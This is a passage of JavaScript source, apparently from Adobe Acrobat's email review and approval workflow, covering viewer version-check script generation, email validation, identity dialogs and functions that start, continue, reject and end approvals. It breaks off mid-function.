//		wf (optional; string representing workflow parameter in the cgi string, so far "EBRwRE", "EBRwoRE", "AwRE", "AwoRE", default ""),

//		cgi (optional; string appended to url, default "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=" + actions.wf), 

//		prefix (optional; string consisting of JS code to be inserted before code inserted by this function. This code can end in an if statement, as the code inserted will always be surrounded by {}. For example, "if (typeof(xfa_installed) == "undefined" || typeof(xfa_version) == "undefined" || xfa_version < 2.0)")



//		type (required; what kind of dialog to put up: "alert" for app.alert where OK calls getURL, "updater" for app.alert where OK calls app.findComponent, and "response" for app.response to copy URL from), 

//		str (required; actual string to be shown in the dialog), 

//		compType (required only for "updater" type; string identifying Updater component type to get e.g. "App" or "Plugin" or "UDPatch"),

//		comp (required only for "updater" type; string identifying Updater component to get e.g. "Reader7", ask Updater team/Art Amezcua for exact values).



			// changed in A9 - 10/23/2007 tshiono

			// due to change of approval Javascript handling, approval changed support version into "9 or later".

			var parms = {

				creator: "RMA",

				title: AnnotsString.IDS_SORT_WARNING_TITLE, // XXX

				r_vers: bApproval ? 9.0 : 7.0, // r7 supports reviewing, but not approval

				a_vers: bApproval ? 9.0 : 6.0, // a6 supports reviewing, but not approval

				wf: (bApproval? "A" : "EBR") + (bUB ? "w" : "wo") + "RE"

			};



			var strPref = "IDS_VERERR_" + (bApproval ? "APP" : "EBR") + (bUB ? "_RE" : "") + "_";

// xxx debug code for version checking stuff

//app.alert(strPref);

			// For each version action property, insert its dialog string

			//

			// changed in A8 - 06/19/2006 tshiono

			// fix for bugs #1316816 and #1316818: Need to update JavaScript and strings.

			// we don't call app.findComponent any longer for QE reasons and limitation of how 

			// we ship dot releases. removed check routines for app.findComponent.

			//

			// changed in A9 - 10/24/2007 tshiono

			// fix for bug #1584711: supports A9 and makes version-checking simple.

			//

			var vers = new Array();

			if(!bApproval) // EBR

			{

				vers["rold"] = { vern: parms.r_vers, sver: "R602", labl: "Old" };

				vers["aold"] = { vern: parms.a_vers, sver: "F4o5", labl: "Old" };

			}

			else // Approval

			{

				vers["rold"] = { vern: parms.r_vers, sver: "R602", labl: "Old" };

				vers["a5"]   = { vern: 6.0,           sver: "F4o5", labl: "5x"  };

				vers["aold"] = { vern: parms.a_vers, sver: "F602", labl: "Old" };

			}



			for(var v in vers)

			{

				var sver = vers[v].sver;

				var sname = strPref + sver;

				var str = AnnotsString[sname];



// xxx debug code for version checking stuff

//app.alert(sname + " : " + str);

				if(str)

				{

					// fix for bug #1117470: Add English warning messages in the warning dialog 

					// when opening Approval PDF on Acrobat 6.0.

					// make English warning messages when Acrobat language is not ENU. 

					var strENU = null;

					if(bApproval && app.language != "ENU")

					{

						var snameENU = sname + "_ENU";

						strENU = AnnotsString[snameENU];

					}



					// changed in A8 - 06/19/2006 tshiono

					// fix for bugs #1316816, #1316818: Need to update JavaScript and strings.

					// we don't call findComponent any longer for QE reasons.

					parms[v] = {

						str: str,

						strenu: strENU,

						// we update for reader 6 only, EXCEPT for non-RE approval where we never update

						//type: ((sver == "R6" || sver == "R602") && (!bApproval || bUB)) ? "updater" : "url"

						type: "url",	// always use "url"

						prod: (sver.substring(0,1) == "F")? "Viewer" : "Reader",

						vern: vers[v].vern,

						labl: vers[v].labl

					};

				}

			}

			

			var scripts = CreateViewerVersionCheck70(parms);

			//var scripts = {};

			

			submitParams.oJavaScript = { Doc: [ docScriptName, oneShotScript ] };

			

			// throw in the version scripts

			for(var s in scripts)

				submitParams.oJavaScript.Doc = submitParams.oJavaScript.Doc.concat(s, scripts[s]);

				

// xxx debug code for version checking stuff

//app.alert(submitParams.toSource());

		}

		if(bUB)

			submitParams.cUsageRights = submitFormUsageRights.RMA;

	

	    // Watson# 1670577 - Set the doc-id after full-saving the file in case of EBR

	    // Do this only if we are ubiquitizing the doc

	    if(!bApproval && bUB)

 	        submitParams.bSetDocIDLater = true;

	

    	app.beginPriv();

		result = doc.submitForm(submitParams);

		app.endPriv();

	}

	catch(e)

	{

		app.alert({cMsg: e["message"], oDoc: doc});

		raise = true;

	}



	var oResult = new Object();

	oResult.submitFormResult = result;



	oResult.raised = raise;



	return oResult;

}



// function CreateViewerVersionCheck70(actions)

// The composition of the 'actions' object is version object with the following property names: r5, a5, r6, a6, r601, a601, r602, a602 (expand as necessary - but change code to match)

// and stand for Reader (r) or Acrobat (a) and the respective version number in which a dialog would appear. 

// The dialog specified at a certain version will also be used in lower versions down to the version of next specified version object in descending order for that product (Reader or Viewer), to the granularity of the list of possible version objects.

// (or all lower versions if there are none). For example, if an r6 object is present, it's dialog will show in Reader versions 6 and lower.

// The version object with the greatest version will show in all versions less than the r_vers property. 

// So using the same example, if an r602 object is also present, and the r_vers property is set to 7, the r602 dialog will be used in versions less than 7, down to 6.01.

// Strings to show in the UI should come from stored localized values.

// The actions object has the additional properties that apply to all of the object literals:

//		creator (required; string abbreviation for the Acrobat component that is calling this function, to be used in variable names, e.g. "RMA" or "Form"),

//		title (required if using "response" dialogs; title of "response" type dialogs. e.g. "Adobe Acrobat"),

//		r_vers (requried; the version number of Reader needed by the creator to properly view the file, e.g. 7.0), 

//		a_vers (required; the version number of Acrobat needed by the creator to properly view the file, e.g. 6.02).

//		url (optional; url string for user update info, default "http://cgi.adobe.com/special/acrobat/update"), 

//		wf (optional; string representing workflow parameter in the cgi string, so far "EBRwRE", "EBRwoRE", "AwRE", "AwoRE", default ""),

//		cgi (optional; string appended to url, default "?p=" + app.platform + "&v=" + app.viewerVersion + "&l=" + app.language + "&c=" + app.viewerType + "&w=" + actions.wf), 

//		prefix (optional; string consisting of JS code to be inserted before code inserted by this function. This code can end in an if statement, as the code inserted will always be surrounded by {}. For example, "if (typeof(xfa_installed) == "undefined" || typeof(xfa_version) == "undefined" || xfa_version < 2.0)")

// The object literal elements have the following properties: 

//		type (optional; what kind of action to take to take with user's OK: "url" to bring the user to a web page for them to choose a download, or "updater" to run the Updater to automatically download and install, default "url")

//		str (required; actual string to be shown in the dialog), 

//			 (note: dialog styles and methods of getting to a url will vary based on viewer type and version), 

//		compType (optional, only used for "updater" type; string identifying Updater component type to get e.g. "App" or "Plugin" or "UDPatch", default "App"),

//		comp (optional, only for "updater" type; string identifying Updater component to get, default "Reader7", ask Updater team/Art Amezcua for other values).

// The return value is an object with three properties, whose names are the titles the scripts (the contents of the properties) should be saved as at the doc level: 

// "!ADBE::0100_VersChkStrings", "!ADBE::0100_VersChkVars", and "!ADBE::0100_VersChkCode" + actions.creator. 

// This function generates code compliant with the spec posted in eRoom at Acrobat > Projects > 2004 > Vegas > Acrobat 7 > Engineering Specifications > Javascript > VersionCheckJS_Vegas.pdf 

// or <https://eroom.adobe.com/eRoomReq/Files/fid001/Acrobat/0_d088/VersionCheckJS_Vegas.pdf>



function CreateViewerVersionCheck70(actions)

{

	// fill in some unspecified parameters with defaults

	if (actions.prefix == null)

		actions.prefix = "";

	if (actions.url == null)

		actions.url = "http://cgi.adobe.com/special/acrobat/update";

	if (actions.wf == null)

		actions.wf = "";

	if (actions.cgi == null)

		actions.cgi = "\"?p=\" + app.platform + \"&v=\" + app.viewerVersion + \"&l=\" + app.language + \"&c=\" + app.viewerType + \"&w=" + actions.wf + "\"";

	else 

		actions.cgi += actions.wf;

	

	

	// check to see if we have standard version checking scripts installed on this doc

	// so we know if we can just insert or must integrate with existing scripts

	// TODO: create cases for integration below

	//var integrate = (typeof(ADBE) != "undefined");



	////////////////////////////////////////////////////////////////////////////////

	// Strings script

	

	strScript = new String();	// global variable

	strScript = 

		"if (typeof(this.ADBE) == \"undefined\") this.ADBE = new Object();\n" + 

		"ADBE.LANGUAGE = \"" + app.language + "\";\n" +

		"ADBE.Viewer_string_Title = \"" + actions.title + "\";\n";

	

	var bCreateENU = ((actions.wf == "AwRE" || actions.wf == "AwoRE") && app.language != "ENU");

	if(bCreateENU)

	{

		strScript += "if (app.language == ADBE.LANGUAGE)\n" + "{\n";

		CreateViewerVersionCheckStringsCluster(actions, "str", true);

		strScript += "}\n" + "else\n" + "{\n";

		CreateViewerVersionCheckStringsCluster(actions, "strenu", true);

		strScript += "}\n";

	}

	else

		CreateViewerVersionCheckStringsCluster(actions, "str", false);



	////////////////////////////////////////////////////////////////////////////////

	// Variables script

	

	// changed in A8 - 06/19/2006 tshiono

	// fix for bugs #1316816, #1316818: Need to update JavaScript and strings.

	// use ADBE.Reader_Need_Version and Viewer_Need_Version definitions instead of ver numbers.

	//

	var varScript =

		"if (typeof(ADBE.Reader_Value_Asked) == \"undefined\") ADBE.Reader_Value_Asked = false;\n" +

		"if (typeof(ADBE.Viewer_Value_Asked) == \"undefined\") ADBE.Viewer_Value_Asked = false;\n" +

		"if (typeof(ADBE.Reader_Need_Version) == \"undefined\" || ADBE.Reader_Need_Version < " + actions.r_vers + ")\n" +

		"{\n" +

		"\tADBE.Reader_Need_Version = " + actions.r_vers + ";\n" +

		"\tADBE.Reader_Value_New_Version_URL = \"" + actions.url + "\";\n" +

		"\tADBE.SYSINFO = " + actions.cgi + " + \"&r=\" + ADBE.Reader_Need_Version" + ";\n" +

		"}\n" +

		"if (typeof(ADBE.Viewer_Need_Version) == \"undefined\" || ADBE.Viewer_Need_Version < " + actions.a_vers + ")\n" +

		"{\n" +

		"\tADBE.Viewer_Need_Version = " + actions.a_vers + ";\n" +

		"\tADBE.Viewer_Value_New_Version_URL = \"" + actions.url + "\";\n" +

		"\tADBE.SYSINFO = " + actions.cgi + " + \"&r=\" + ADBE.Viewer_Need_Version" + ";\n" +

		"}\n";

	

	////////////////////////////////////////////////////////////////////////////////

	// Code script

	

	codeScript = new String();	// global variable

	codeScript = actions.prefix + "\n{\n";

	

	var readerCase = (actions.rold != null);

	if (readerCase)

	{

		codeScript += 

			"if (app.viewerType == \"Reader\")\n" +

			"{\n";

	

		if (actions.rold != null)

			CreateViewerVersionCheckCase(actions.rold, actions.r_vers);



		codeScript += "}\n";

	}

	

	var viewerCase = (actions.a5 != null || actions.aold != null);

	if (viewerCase)

	{

		if (readerCase)

			codeScript += "else\n";

		else

			codeScript += "if (app.viewerType != \"Reader\")\n";

		codeScript += "{\n";

		

		if (actions.a5 != null)

			CreateViewerVersionCheckCase(actions.a5, actions.a_vers);

		if (actions.aold != null)

			CreateViewerVersionCheckCase(actions.aold, actions.a_vers);



		codeScript += "}\n";

	}

	

	// end bracket around everything after prefix

	codeScript += "}\n";

	

	////////////////////////////////////////////////////////////////////////////////

	// Return the finished scripts with their titles in an object

	

	scriptsObj = new Object();

	scriptsObj["!ADBE::0100_VersChkStrings"] = strScript;

	scriptsObj["!ADBE::0100_VersChkVars"] = varScript;

	scriptsObj["!ADBE::0200_VersChkCode" + actions.creator] = codeScript;

	return scriptsObj;	

}



// codeScript should be a defined object before calling

//

// changed in A8 - 06/19/2006 tshiono

// fix for bugs #1316816, #1316818: Need to update JavaScript and strings.

// we don't call app.findComponent any longer for QE reasons and limitation of how we ship 

// dot releases. so that "updater" case should be not called.

//

function CreateViewerVersionCheckCase(action, need_vers)

{

	codeScript += "\tif (app.viewerVersion < ";

	if (action.prod == "Reader")

		codeScript += ((need_vers == action.vern)? "ADBE.Reader_Need_Version" : action.vern) + " && !ADBE.Reader_Value_Asked)\n";

	else

		codeScript += ((need_vers == action.vern)? "ADBE.Viewer_Need_Version" : action.vern) + " && !ADBE.Viewer_Value_Asked)\n";

	codeScript += "\t{\n";

		

	if (action.type == "url")

	{

		if (action.prod == "Reader")

			codeScript += "\t\tif (app.alert(" + action.strvar + ", 1, 1) == 1) this.getURL(ADBE.Reader_Value_New_Version_URL + ADBE.SYSINFO, false);\n";

		else

			codeScript += "\t\tapp.response({cQuestion:" + action.strvar + ", cDefault:ADBE.Viewer_Value_New_Version_URL + ADBE.SYSINFO, cTitle:ADBE.Viewer_string_Title});\n";

	}

	else if (action.type == "updater")

	{

		// fill in defaults if these params were not specified

		if (action.compType == null)

			action.compType = "App";

		if (action.comp == null)

			action.comp = "Reader7";

		codeScript += "\t\tif (app.alert(" + action.strvar + ", 1, 1) == 1) app.findComponent({cType:" + action.compType.toSource() + ", cName:" + action.comp.toSource() + ", cDesc:\"\"});\n";

	}

	

	if (action.prod == "Reader")

		codeScript += "\t\tADBE.Reader_Value_Asked = true;\n";				

	else

		codeScript += "\t\tADBE.Viewer_Value_Asked = true;\n";

						

	codeScript += "\t}\n";

}



// strScript should be a defined object before calling

// make the warning message for old Acrobat/Reader versions

function CreateViewerVersionCheckString(creator, action, strlang, chtab)

{

	if(typeof(action.strvar) == "undefined" || action.strvar == null)

		action.strvar = "ADBE.Viewer_" + creator + "_string_" + action.prod + "_" + action.labl;

	if(typeof(action[strlang]) == "undefined" || action[strlang] == null)

		action[strlang] = action.str;



	strScript += chtab + action.strvar + " = " + action[strlang].toSource() + ";\n";

}



// strScript should be a defined object before calling

function CreateViewerVersionCheckStringsCluster(actions, strlang, indent)

{

	var chtab = (indent)? "\t" : "";



	// For each version action property, insert its dialog string

	//

	// changed in A8 - 06/19/2006 tshiono

	// fix for bugs #1316816, #1316818: Need to update JavaScript and strings.

	// CreateViewerVersionCheckString call for dot-releases may be not used.

	//

	// changed in A9 - 10/24/2007 tshiono

	// fix for bug #1584711: supports A9 and makes version-checking simple.

	//

	if (actions.rold != null)

		CreateViewerVersionCheckString(actions.creator, actions.rold, strlang, chtab);

	if (actions.a5 != null)

		CreateViewerVersionCheckString(actions.creator, actions.a5, strlang, chtab);

	if (actions.aold != null)

		CreateViewerVersionCheckString(actions.creator, actions.aold, strlang, chtab);

}



function ANContinueApproval(doc)

{

	return ANSendForApproval(doc, false, false, true, false, false);

	// false - this is not the start of an approval cycle

	// false - this is not a rejection

	// true to unregister the approval  

	// false to send Mojo   

	// false - this is not the end

}



function ANEndApproval(doc)

{

	return ANSendForApproval(doc, false, false, true, true, true);

	// false - this is not the start of an approval cycle

	// false - this is not a rejection

	// treu to unregister approval 

	// true to not add Mojo

	// false to not show CC box   

	// false to not edit CC box   

	// true - this is the end

}



function ANRejectApproval(doc)

{ 

	return ANSendForApproval(doc, false, true, false, true, false);

	// false - this is not the start of an approval cycle

	// true - this is a rejection

	// false to not register approval locally   

	// true to not add Mojo

	// false - this is the end

}



function ANApprovalGetStrings(mode)

{

	var retData = new Object();

	

	if (mode == -1)

	{

		retData.title  = "Title 1";

		retData.text   = "First\r\nSecond\r\nThird";

		retData.dest   = "Destination 1";

		retData.tip    = "Tip 1";

		retData.subj   = "Subject 1";

		retData.msg    = "Message 1";

		retData.notify = "Notification 1";

	} else if (mode == 1)

	{

		retData.title  = AnnotsString.IDS_SEND_FOR_APPROVAL_TITLE_INITIATE;

		retData.text   = AnnotsString.IDS_SEND_FOR_APPROVAL_INST_INITIATE;

		retData.dest   = AnnotsString.IDS_SEND_FOR_APPROVAL_DEST_INITIATE;

		retData.tip    = AnnotsString.IDS_SEND_FOR_APPROVAL_TIP_INITIATE;

		retData.subj   = AnnotsString.IDS_SEND_FOR_APPROVAL_SUBJ_INITIATE;

		retData.msg    = AnnotsString.IDS_SEND_FOR_APPROVAL_MESG_INITIATE;

		retData.notify = AnnotsString.IDS_SEND_FOR_APPROVAL_NOTIFY_INITIATE;

	} else if (mode == 2)

	{

		retData.title  = AnnotsString.IDS_SEND_FOR_APPROVAL_TITLE_CONTINUE;

		retData.text   = AnnotsString.IDS_SEND_FOR_APPROVAL_INST_CONTINUE_UB;

		retData.dest   = AnnotsString.IDS_SEND_FOR_APPROVAL_DEST_CONTINUE;

		retData.tip    = AnnotsString.IDS_SEND_FOR_APPROVAL_TIP_CONTINUE;

		retData.subj   = AnnotsString.IDS_SEND_FOR_APPROVAL_SUBJ_CONTINUE;

		retData.msg    = AnnotsString.IDS_SEND_FOR_APPROVAL_MESG_CONTINUE_UB;

		retData.notify = AnnotsString.IDS_SEND_FOR_APPROVAL_NOTIFY_CONTINUE;

	} else if (mode == 3)

	{

		retData.title  = AnnotsString.IDS_SEND_FOR_APPROVAL_TITLE_CONTINUE;

		retData.text   = AnnotsString.IDS_SEND_FOR_APPROVAL_INST_CONTINUE_NOUB;

		retData.dest   = AnnotsString.IDS_SEND_FOR_APPROVAL_DEST_CONTINUE;

		retData.tip    = AnnotsString.IDS_SEND_FOR_APPROVAL_TIP_CONTINUE;

		retData.subj   = AnnotsString.IDS_SEND_FOR_APPROVAL_SUBJ_CONTINUE;

		retData.msg    = AnnotsString.IDS_SEND_FOR_APPROVAL_MESG_CONTINUE_NOUB;

		retData.notify = AnnotsString.IDS_SEND_FOR_APPROVAL_NOTIFY_CONTINUE;

	} else if (mode == 4)

	{

		retData.title  = AnnotsString.IDS_SEND_FOR_APPROVAL_TITLE_COMPLETE;

		retData.text   = AnnotsString.IDS_SEND_FOR_APPROVAL_INST_COMPLETE;

		retData.dest   = AnnotsString.IDS_SEND_FOR_APPROVAL_DEST_COMPLETE;

		retData.tip    = AnnotsString.IDS_SEND_FOR_APPROVAL_TIP_COMPLETE;

		retData.subj   = AnnotsString.IDS_SEND_FOR_APPROVAL_SUBJ_COMPLETE;

		retData.msg    = AnnotsString.IDS_SEND_FOR_APPROVAL_MESG_COMPLETE;

		retData.notify = AnnotsString.IDS_SEND_FOR_APPROVAL_NOTIFY_COMPLETE;

	} else if (mode == 5)

	{

		retData.title  = AnnotsString.IDS_SEND_FOR_APPROVAL_TITLE_REJECT;

		retData.text   = AnnotsString.IDS_SEND_FOR_APPROVAL_INST_REJECT;

		retData.dest   = AnnotsString.IDS_SEND_FOR_APPROVAL_DEST_REJECT;

		retData.tip    = AnnotsString.IDS_SEND_FOR_APPROVAL_TIP_REJECT;

		retData.subj   = AnnotsString.IDS_SEND_FOR_APPROVAL_SUBJ_REJECT;

		retData.msg    = AnnotsString.IDS_SEND_FOR_APPROVAL_MESG_REJECT;

		retData.notify = AnnotsString.IDS_SEND_FOR_APPROVAL_NOTIFY_REJECT;

	}

	

	return retData;

}



function eMailValidate (emailStr) {



	/* The following pattern is used to check if the entered e-mail address

	fits the user@domain format.  It also is used to separate the username

	from the domain. */

	var emailPat=/^(.+)@(.+)$/

	/* The following string represents the pattern for matching all special

	characters.  We don't want to allow special characters in the address. 

	These characters include ( ) < > @ , ; : \ " . [ ]    */

	var specialChars="\\(\\)<>@,;:\\\\\\\"\\.\\[\\]"

	/* The following string represents the range of characters allowed in a 

	username or domainname.  It really states which chars aren't allowed. */

	var validChars="\[^\\s" + specialChars + "\]"

	/* The following pattern applies if the "user" is a quoted string (in

	which case, there are no rules about which characters are allowed

	and which aren't; anything goes).  E.g. "jiminy cricket"@disney.com

	is a legal e-mail address. */

	var quotedUser="(\"[^\"]*\")"

	/* The following pattern applies for domains that are IP addresses,

	rather than symbolic names.  E.g. joe@[123.124.233.4] is a legal

	e-mail address. NOTE: The square brackets are required. */

	var ipDomainPat=/^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/

	/* The following string represents an atom (basically a series of

	non-special characters.) */

	var atom=validChars + '+'

	/* The following string represents one word in the typical username.

	For example, in john.doe@somewhere.com, john and doe are words.

	Basically, a word is either an atom or quoted string. */

	var word="(" + atom + "|" + quotedUser + ")"

	// The following pattern describes the structure of the user

	var userPat=new RegExp("^" + word + "(\\." + word + ")*$")

	/* The following pattern describes the structure of a normal symbolic

	domain, as opposed to ipDomainPat, shown above. */

	var domainPat=new RegExp("^" + atom + "(\\." + atom +")*$")



	/* Finally, let's start trying to figure out if the supplied address is

	valid. */



	/* Begin with the coarse pattern to simply break up user@domain into

	different pieces that are easy to analyze. */

	var matchArray=emailStr.match(emailPat)

	if (matchArray==null) {

	/* Too many/few @'s or something; basically, this address doesn't

		even fit the general mould of a valid e-mail address. */

		return false

	}

	var user=matchArray[1]

	var domain=matchArray[2]



	// See if "user" is valid 

	if (user.match(userPat)==null) {

		// The username doesn't seem to be valid

		return false

	}



	/* if the e-mail address is at an IP address (as opposed to a symbolic

	host name) make sure the IP address is valid. */

	var IPArray=domain.match(ipDomainPat)

	if (IPArray!=null) {

		// this is an IP address

		for (var i=1;i<=4;i++) {

			if (IPArray[i]>255) {

				// Destination IP address is invalid

			return false

			}

		}

		return true

	}



	// Domain is symbolic name

	var domainArray=domain.match(domainPat)

	if (domainArray==null) {

		//The domain name doesn't seem to be valid

		return false

	}



	/* domain name seems valid, but now make sure that it ends in a

	three-letter word (like com, edu, gov) or a two-letter word,

	representing country (uk, nl), and that there's a hostname preceding 

	the domain or country. */



	/* Now we need to break up the domain to get a count of how many atoms

	it consists of. */

	var atomPat=new RegExp(atom,"g")

	var domArr=domain.match(atomPat)

	var len=domArr.length

	if (domArr[domArr.length-1].length<2) {

		// the address must end in a two or more letter word.

		return false

	}

	

	// Make sure there's a host name preceding the domain.

	if (len<2) {

		//"This address is missing a hostname!"

		return false

	}



	// If we've gotten this far, everything's valid!

	return true;



}



DoIdentityDialog = app.trustedFunction(function(dialogText, warningMessage, warningTitle, bDemandEmail, bDemandName)

{

	var eaddr;

	var iname;

	var bStatus;

	

	do

	{		

		bStatus = Collab.getIdentity(false, dialogText);

		if ( bStatus )

		{

			bStatus = 0;  // assume we don't need to go back around

			if (bDemandEmail)

			{

				app.beginPriv();

				eaddr = identity.email;

				app.endPriv();

				

				if(eaddr != null && !eMailValidate(eaddr))

				{

					app.beginPriv();

					app.alert({cMsg: warningMessage, cTitle: warningTitle, nIcon: 1});

					app.endPriv();

					bStatus = 1;  // guess not - go back around

				}

			}

			if (bDemandName)

			{

				app.beginPriv();

				iname = identity.name;

				app.endPriv();

				

				if (iname != null)

				{

					app.beginPriv();

					app.alert({cMsg: warningMessage, cTitle: warningTitle, nIcon: 1});

					app.endPriv();

					bStatus = 1;  // guess not - go back around

				}

			}	

		}

		else 

			return 0; // cancelled

			

	} while( bStatus )

});



ANStartApproval = app.trustedFunction(function(doc)

{

	//console.println("collab (1)");

	var bNoMojo = false;

	

	var	e;	

	var go = true;

	var data = {};



	if(doc && doc.path)

 	{

		data.docPath = doc.path;

		if(doc.path.match(/^http/))

			data.docFS = fileSystem.WebDAV; // XXX get this from the doc itself

	}

	

	app.beginPriv();

	var eaddr = identity.email;

	app.endPriv();

	

    if(!eaddr)

    {

		DoIdentityDialog(AnnotsString.IDS_APPROVAL_IDENTITY_SETUP_TEXT,

						 AnnotsString.IDS_EMAIL_INVALID,

						 AnnotsString.IDS_SEND_FOR_APPROVAL_TITLE_NONAME,

						 true,

						 false);

						 

		//Fix for defect # 1051979. If UserInfo is prompted, Approval doesn't show up.

		app.beginPriv();

		eaddr = identity.email;

	    app.endPriv();

    }

    

    if (!eaddr)

    {

		// XXX Do we bail out here or just not show the CC me check box?

		// XXX for now, force return email.

		return 0;

    }

       

	var startStep = 0;

	

	while(go)

	{

		data.raddr = eaddr;

		data.initiatorEmail = true;

		data.readerEnable = (app.viewerType.match('Exchange-Pro') != null);

		

		CBRunEmailApprovalWizard(data, startStep, true, data.readerEnable, data.readerEnable);

									// bShowInitiatorEmail, bShowReaderEnable, bCanReaderEnable

											

		doc = data.doc;

		

		startStep = 1;

	

		if(data.result == "fnsh")

		{

			var to = data.addrs;

			var startDate =	new	Date();

			var from = data.raddr;



			// changed in A8 - 04/27/2006 tshiono

			// use bcc field to handle the initiator address instead of cc field.

			//

			// changed in A8 - 05/17/2006 tshiono

			// because initiatorEmail flag can handle if approvers send the initiator 

			// a notification mail to inform him/her of the approval status, always set 

			// the initiator address to bcc.

			//

			//var bcc = "";

			//

			//if (data.initiatorEmail)

			//	bcc = from;

			//

			var bcc = from;

							

			var resultDoSend = ANDoSend(doc,doc.docID[0],from,to,0,"",bcc,data.subj,data.msg,data.readerEnable,false,true,bNoMojo,null,data.initiatorEmail); 

			                  // false for no UI   true for Approval   bNoMojo

			                  			

			if(!resultDoSend.raised && resultDoSend.submitFormResult)

			{

				var docName = doc.documentFileName;

		

				app.beginPriv();

				//console.println("send message (1)");

				Collab.alertWithHelp(	AnnotsString.IDS_APPROVAL_CONFIRM_MSG.replace(/%docname%/, docName),

										"",

										AnnotsString.IDS_SEND_FOR_REVIEW_CONFIRM_TITLE.replace(/%docname%/, docName), 

										"Annots:SendForApprovalConfirm");

				app.endPriv();

				

				if(doc.hidden)

					doc.closeDoc(true);

					

				return 1; // success

			}

		}

		else

			go = false;

	}

	

	if(doc && doc.hidden)

		doc.closeDoc(true);



	return 0; // cancelled



})  // end ANStartApproval



ANSendForApproval = app.trustedFunction(function(doc, bInitiating, bRejection, bUnregister, bNoMojo, bIsEnd)

{

	//console.println("collab (2)");

	// XXX - when using CBRunApproveDialog only bUnregister is used.

	//       If we stick with CBRunApproveDialog get rid of all the other params

	//       and probably bUnregister as well since we always want to unregister

	var	e;	

	var docName = doc.documentFileName;

	var go = true;

	var bSentEmail = false;

	var data = {};

	

	if(doc && doc.path)

 	{

		data.docPath = doc.path;

		if(doc.path.match(/^http/))

			data.docFS = fileSystem.WebDAV; // XXX get this from the doc itself

	}



	while(go)

	{

		// prepopulate data.ccaddr here

		app.beginPriv();

		var ccoriginal = Collab.getCCaddr(doc);

		var initiatorEmailOriginal = Collab.hasInitiatorEmailRequest(doc);

		app.endPriv();



		// preserve original email state to pass it (as is) to the next approver

		data.initiatorEmail = initiatorEmailOriginal;



		// changed in A8 - 04/13/2006 tshiono

		// operate cc field with the same handling as cc: of mail application

		// add a check box to notify initiator of the approval status.

		//

		var bShowInitiatorEmail;

		if ((typeof ccoriginal != "undefined") && (ccoriginal.length > 0))

			bShowInitiatorEmail = true;

		else

			bShowInitiatorEmail = false;



		if(bIsEnd) {

			app.beginPriv();

			data.finalApprovalEmail = Collab.finalApprovalEmailEnabled();

			app.endPriv();

		}



		var stringList = {};

		if (bRejection)

			stringList = ANApprovalGetStrings(5);  // 5 is reject

		else if (bIsEnd)

			stringList = ANApprovalGetStrings(4);  // 4 is end

		else

		{

			// XXX - work around for appRightsValidate 

			//       set to true to work around

			//       set to false for shipping behavior

			if (false)

			{

				stringList = ANApprovalGetStrings(2);  // 2 is continue strings for UB'd doc

			}	

			else

			{

			// changed in A9 - 10/26/2007 thiono

			// because appRightsValidate hasn't worked since A8, changed the way of ubiquity checking

			// check if the doc contains UR dictionary and it has annots creation caps, or not

			//

 			// get the ubiquity rights.  why a 2 and not an enum?  don't ask.

 			var bUBAnnots = false;



 			//	try

 			//	{

			//		var ubSignInfo = doc.appRightsValidate({}, 2);

			//		var annotRights = ubSignInfo.appRightsAnnots;

			//	

			//		for (i in annotRights) {

			//			if (annotRights[i] == "Create")

			//			bUBAnnots = true;

			//		}

			//	}

			//	catch(e) {}

			//	

			app.beginPriv();

			bUBAnnots = Collab.isUbiquitized(doc);

			app.endPriv();



			if (bUBAnnots)

				stringList = ANApprovalGetStrings(2);  // 2 is continue strings for UB'd doc

			else

				stringList = ANApprovalGetStrings(3);  // 3 is continue strings for non-UB'd doc

			}

		}

				

		CBRunApproveDialog(stringList.title.replace(/%docname%/, docName), 

									stringList.text.replace(/%docname%/, docName),

									stringList.dest.replace(/%docname%/, docName),

									stringList.tip.replace(/%docname%/, docName),

									stringList.subj.replace(/%docname%/, docName),

									stringList.msg.replace(/%docname%/, docName),

									docName,

									true,  // whether address is editable

									data,

									bShowInitiatorEmail, // true if we have ccoriginal

									bIsEnd); // true if it is the final approval



		app.beginPriv();

		doc = app.openDoc({ cPath: data.docPath, bHidden: true, bUseConv: true });

		app.endPriv();

		

		var resultDoSend;

		if(data.result == "myok")

		{

			try

            {

                app.beginPriv();



                // save final approval method.

			    if(bIsEnd)

                    Collab.enableFinalApprovalEmail(data.finalApprovalEmail);

                // Set that a workflow has started

                Collab.inEmailWorkflow = true;



			    app.endPriv();



			    //console.println("Calling dosend");



			    var checkCC = data.ccaddr.replace(new RegExp('([\\f\\n\\r\\t\\v ])+', 'g'),"");

			    if (checkCC.length == 0)

				    data.ccaddr = "";

				

			    var docScriptName = "___ADBERMAIS___";



			    // call with ccoriginal, this is the "CC Me" by the approval initiator

			    // changed in A8 - 04/27/2006 tshiono

			    // call with ccaddr, this is the same cc handling as general mailer application.

			    // use bcc field to handle initiator address instead of cc field.

			    //

			    if(!bIsEnd || (bIsEnd && data.finalApprovalEmail))

			    {

				    // changed in A9 - 10/19/2007 tshiono

				    // remove ADBERMAIS script when only rejecting or finally completing.

				    if(bRejection || bIsEnd)

				    {

					    // try to remove the script that triggers Approval workflow functions.

					    app.beginPriv();

					    Collab.removeApprovalDocScript(doc, docScriptName);

					    app.endPriv();

				    }



				    resultDoSend = ANDoSend(doc,doc.docID[0],"",data.addr,0,data.ccaddr,ccoriginal,data.subj,data.msg,false,false,true,true,null,initiatorEmailOriginal); 

						    // false for no ubiquitizing   false for no UI   true for Approval   bNoBean

				    //console.println("send original to " + data.addr);

			

				    if(resultDoSend.raised || !resultDoSend.submitFormResult)

                    {

                        // Set that the workflow has ended

                        app.beginPriv();

					    Collab.inEmailWorkflow = false;

					    app.endPriv();

					    return 0;

                    }



				    bSentEmail = true;

			    }



			    // check CC address and if there is one, send the CC (no bean)

			    // changed in A8 - 04/27/2006 tshiono

			    // check ccoriginal address and if there is one, send the ccoriginal (no bean)

			    //

			    //if ((typeof data.ccaddr != "undefined") && (data.ccaddr.length > 0))

			    if (data.initiatorEmail &&

				    (typeof ccoriginal != "undefined") && (ccoriginal.length > 0))

			    {

				    // make subject string of the notification mail.

				    var subjNotify = (bRejection || bIsEnd)? stringList.subj.replace(/%docname%/, docName) : AnnotsString.IDS_APPROVAL_NOTIFY_SUBJ.replace(/%docname%/, docName);



				    // make content of the notification mail.

				    var msgNotify = (bIsEnd && !data.finalApprovalEmail)? AnnotsString.IDS_SEND_FOR_APPROVAL_MESG_COMPLETE.replace(/%docname%/, docName) : stringList.notify.replace(/%docname%/, docName);

